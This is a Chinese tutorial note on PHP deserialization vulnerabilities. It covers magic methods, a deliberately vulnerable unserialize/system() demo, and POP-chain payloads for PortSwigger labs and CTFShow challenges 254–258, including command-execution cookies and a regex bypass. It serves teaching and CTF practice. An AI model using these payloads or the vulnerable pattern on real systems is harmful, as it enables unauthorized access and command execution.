知識點:
1.WEB攻防-PHP反序列化-序列化和反序列化
2.WEB攻防-PHP反序列化-常見魔術方法觸發規則
3.WEB攻防-PHP反序列化-反序列化漏洞產生原因
4.WEB攻防-PHP反序列化-黑白盒&POP鏈構造
一、演示案例-WEB攻防-PHP反序列化-序列化和反序列化
什么是反序列化操作?
-
數據類型轉換、主要用于數據傳輸。
-
PHP & JavaEE & .NET & Python
-
序列化:將對象轉換為數組或字符串等格式
-
反序列化:將數組或字符串等格式轉換成對象
-
serialize() //將對象轉換成一個字符串,序列化操作
-
unserialize() //將字符串還原成一個對象,反序列化操作
二、演示案例-WEB攻防-PHP反序列化-常見魔術方法觸發規則
- 對象邏輯
__construct(): //當對象new的時候會自動調用
__destruct()://當對象被銷毀時會被自動調用
__sleep(): //serialize()執行時被自動調用
__wakeup(): //unserialize()時會被自動調用
__invoke(): //當嘗試以調用函數的方法調用一個對象時會被自動調用
__toString(): //把類當作字符串使用時觸發
__call(): //調用某個方法;若不存在,則會去調用__call函數
__get(): //讀取對象屬性時,若不存在,則會調用__get函數
__set(): //設置對象的屬性時,若不存在,則調用__set函數
__isset(): //在不可訪問的屬性上調用isset()或empty()觸發
__unset(): //在不可訪問的屬性上使用unset()時觸發
__set_state(),調用var_export()導出類時,此靜態方法會被調用
__clone(),當對象復制完成時調用
__autoload(),嘗試加載未定義的類__debugInfo(),打印所需調試信息
__callStatic(): //在靜態上下文中調用不可訪問的方法時觸發
三、演示案例-WEB攻防-PHP反序列化-反序列化漏洞產生
為什么會出現安全漏洞?
原理:未對用戶輸入的序列化字符串進行檢測,導致攻擊者可以控制反序列化過程,從而導致代碼執行,SQL注入,目錄遍歷等不可控后果。在反序列化的過程中自動觸發了某些魔術方法。當進行反序列化的時候就有可能會觸發對象中的一些魔術方法。
DEMO<?php
class B{
public $cmd='';
public function __destruct(){system($this->cmd);}
}
//函數引用,無對象創建觸發魔術方法
unserialize($_GET['x']);
漏洞產生條件
可控變量、反序列函數、引用對象下的魔術方法、魔術方法里的危險函數(例如system等就會造成命令執行漏洞)
四、演示案例-WEB攻防-PHP反序列化-黑白盒&POP鏈構造
反序列化漏洞如何利用?- POP鏈構造
POP
:面向屬性編程(Property-Oriented Programing
)常用于上層語言構造特定調用鏈的方法,序列化攻擊都在PHP
魔術方法中出現可利用的漏洞,因自動調用觸發漏洞,但如關鍵代碼沒在魔術方法中,而是在一個類的普通方法中。這時候就可以通過構造POP
鏈尋找相同的函數名將類的屬性和敏感函數的屬性聯系起來。
-反序列化常見起點
-反序列化常見跳板
-反序列化常見終點
-POP鏈核心就是代碼有用的留下,沒用的刪掉
黑盒-portswigger-數據序列化
真實情況下,黑盒很難挖到反序列化(基本都是看代碼來挖)
靶場地址:https://portswigger.net/web-security/all-labs#insecure-deserialization
DEMO1-反序列化越權
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
DEMO2-反序列化越權
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
DEMO3-反序列化導致任意文件刪除漏洞
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"elrtoxj3rcx3n1ip4u723mk839qht90h";s:11:"avatar_link";s:19:"users/wiener/avatar";}
白盒-CTFSHOW-訓練POP鏈構造(POP鏈核心就是代碼有用的留下,沒用的刪掉)
254-對象引用執行邏輯
payload:
username=xxxxxx&password=xxxxxx
255-反序列化變量修改
POP鏈CODE:
1、不修改代碼的用戶密碼
<?php
class ctfShowUser{public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
payload:
Get:username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
POP鏈CODE:
2、修改代碼的用戶密碼
<?php
class ctfShowUser{public $username='test';public $password='test123';public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
payload:
Get:username=test&password=test123
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A7%3A%22test123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
256-反序列化參數修改
POP鏈CODE:
<?php
class ctfShowUser{public $username='test';public $password='test1';public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
payload:
GET:username=test&password=test1
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22test1%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
257-反序列化參數修改&對象調用邏輯
POP鏈CODE:
<?php
class ctfShowUser{public $class = 'backDoor';
public function __construct(){$this->class=new backDoor();}
}
class backDoor{public $code='system("tac flag.php");';}
echo urlencode(serialize(new ctfShowUser));
?>
payload:
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D
258-反序列化參數修改&對象調用邏輯&正則
POP鏈CODE:
<?php
class ctfShowUser{public $class = 'backDoor';public function __construct(){$this->class=new backDoor();}
}
class backDoor{public $code="system('tac flag.php');";
}
$a=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
?>
payload:
GET:username=123&password=123
COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D